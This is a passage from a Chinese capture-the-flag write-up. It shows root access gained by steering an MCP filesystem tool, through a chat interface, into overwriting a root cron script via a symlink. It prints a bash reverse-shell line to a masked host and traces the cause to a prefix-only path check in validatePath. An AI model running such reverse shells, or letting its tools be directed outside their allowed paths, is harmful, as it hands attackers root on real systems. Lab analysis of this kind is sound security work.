drwxr-xr-x. 2 mcp mcp 22 Dec 17 17:19 h
drwxrwxr-x. 1 mcp www-data 41 Feb 16 14:44 html
ps -aux查看进程
我们看到user:root用su -s /bin/bash让user:mcp执行了node启动了mcp服务,同时把流量转发到了本地的1337端口,而且mcp服务的目录的确是/var/www/h文件夹。这个mcp服务我们先放一放,回头再研究。
bash
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
(....)
root 17 0.0 0.0 4128 2768 ? S 14:39 0:00 su -s /bin/bash mcp -c socat TCP-LISTEN:1337,bind=127.0.0.1,fork,reuseaddr EXEC:"/usr/bin/node --no-warnings --no-deprecation /opt/mcp-server/node_modules/.bin/mcp-server-filesystem /var/www/h"
mcp 19 0.0 0.0 10332 4552 ? Ss 14:39 0:00 socat TCP-LISTEN:1337,bind=127.0.0.1,fork,reuseaddr EXEC:/usr/bin/node --no-warnings --no-deprecation /opt/mcp-server/node_modules/.bin/mcp-server-filesystem /var/www/h
- 内网信息收集
收集到任务计划的时候,我们看到php这个任务计划,是每分钟让root执行一次/usr/lib/php/sessionclean脚本,而碰巧这个脚本是user:mcp可以rwx的。
bash
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -al /etc/cron.d
ls -al /etc/cron.d
total 12
drwxr-xr-x. 1 root root 37 Dec 17 17:18 .
drwxr-xr-x. 1 root root 19 Feb 16 14:39 ..
-rw-r--r--. 1 root root 102 Mar 2 2023 .placeholder
-rw-r--r--. 1 root root 201 Jun 6 2025 e2scrub_all
-rw-r--r--. 1 root root 77 Dec 17 17:19 php
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ cat /etc/cron.d/php
cat /etc/cron.d/php
* * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -al /usr/lib/php/sessionclean
<74:/var/www/html$ ls -al /usr/lib/php/sessionclean
-rwxrwxr-x. 1 root mcp 26 Dec 17 17:19 /usr/lib/php/sessionclean
cat /usr/lib/php/sessionclean
#!/bin/bash
# Cleaning...
getshell提权
根据上面的思路,我们创建个软连接指向/usr/lib/php/sessionclean然后发指令让MCP修改成revshell,然后让user:root定期执行任务的时候执行即可。
bash
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ln -s /usr/lib/php/sessionclean ./clean
<r/www/html$ ln -s /usr/lib/php/sessionclean ./clean
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -l clean
ls -l clean
lrwxrwxrwx. 1 www-data www-data 25 Feb 16 15:22 clean -> /usr/lib/php/sessionclean
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ ls -l
ls -l
total 40
-rwxrwxr-x. 1 mcp www-data 10186 Dec 17 17:18 chat.php
lrwxrwxrwx. 1 www-data www-data 25 Feb 16 15:22 clean -> /usr/lib/php/sessionclean
(...)
发指令让
mcp修改软连接对应的文件
查看下,任务计划对应的脚本已经被改成了 revshell
bash
www-data@cl-12-1bfb5a1a523ae074:/var/www/html$ cat /usr/lib/php/sessionclean
cat /usr/lib/php/sessionclean
<?php system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1' ");www-data@cl-12-1bfb5a1a523ae074:/var/www/html$
静等一分钟,看到反弹回来了 root 权限的账号,到 /root 中可以找到 flag。

漏洞原因
为什么 mcp server 指定的目录是 /var/www/h 但是可以修改 /var/www/html 中的内容?导致这个服务器被攻击者可以从对话这里就写入 webshell 打开了突破口?
我们调试下靶机,在 /var/www/ 文件夹中创建其他文件夹测试下
bash
root@cl-12-1bfb5a1a523ae074:~# mkdir /var/www/haaa /var/www/hbbb
mkdir /var/www/haaa /var/www/hbbb
root@cl-12-1bfb5a1a523ae074:~# chown mcp:mcp /var/www/haaa /var/www/hbbb
chown mcp:mcp /var/www/haaa /var/www/hbbb
然后我们发送指令
在 /var/www/haaa 文件夹下创建文件 haaasuccess.txt ,写入内容 success in haaa
在 /var/www/hbbb 文件夹下创建文件 hbbbsuccess.txt ,写入内容 success in hbbb
实验可知,虽然这2个文件夹不是 allowed_directories 但是 MCP 依旧可以访问并且可以操作。

测下其他文件夹,我们创建个 /var/www/bbbb 然后尝试往里写文件
bash
root@cl-12-1bfb5a1a523ae074:/var/www/hbbb# mkdir ../bbbb
mkdir ../bbbb
root@cl-12-1bfb5a1a523ae074:/var/www/hbbb# chown ../bbbb mcp:mcp
chown ../bbbb mcp:mcp
chown: invalid user: '../bbbb'
这次失败了。

目前的配置下我们得出的结论,只要是 /var/www/h 开头的文件夹是可以被 mcp 操作的。问题代码在 /opt/mcp-server/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js 文件的的第 50 行左右。
node.js
42 // Security utilities
43 async function validatePath(requestedPath) {
44 const expandedPath = expandHome(requestedPath);
45 const absolute = path.isAbsolute(expandedPath)
46 ? path.resolve(expandedPath)
47 : path.resolve(process.cwd(), expandedPath);
48 const normalizedRequested = normalizePath(absolute);
49 // Check if path is within allowed directories
50 const isAllowed = allowedDirectories.some(dir => normalizedRequested.startsWith(dir));
51 if (!isAllowed) {
52 throw new Error(`Access denied - path outside allowed directories: ${absolute} not in ${allowedDirectories.join(', ')}`);
53 }
54 // Handle symlinks by checking their real path
55 try {
56 const realPath = await fs.realpath(absolute);
57 const normalizedReal = normalizePath(realPath);
58 const isRealPathAllowed = allowedDirectories.some(dir => normalizedReal.startsWith(dir));
59 if (!isRealPathAllowed) {
60 throw new Error("Access denied - symlink target outside allowed directories");
61 }
62 return realPath;
63 }
64 catch (error) {
65 // For new files that don't exist yet, verify parent directory
66 const parentDir = path.dirname(absolute);
67 try {
68 const realParentPath = await fs.realpath(parentDir);
69 const normalizedParent = normalizePath(realParentPath);
70 const isParentAllowed = allowedDirectories.some(dir => normalizedParent.startsWith(dir));
71 if (!isParentAllowed) {
72 throw new Error("Access denied - parent directory outside allowed directories");
73 }
74 return absolute;
75 }
76 catch {
77 throw new Error(`Parent directory does not exist: ${parentDir}`);
78 }
79 }
80 }
本文抛砖引玉,感谢阅读。
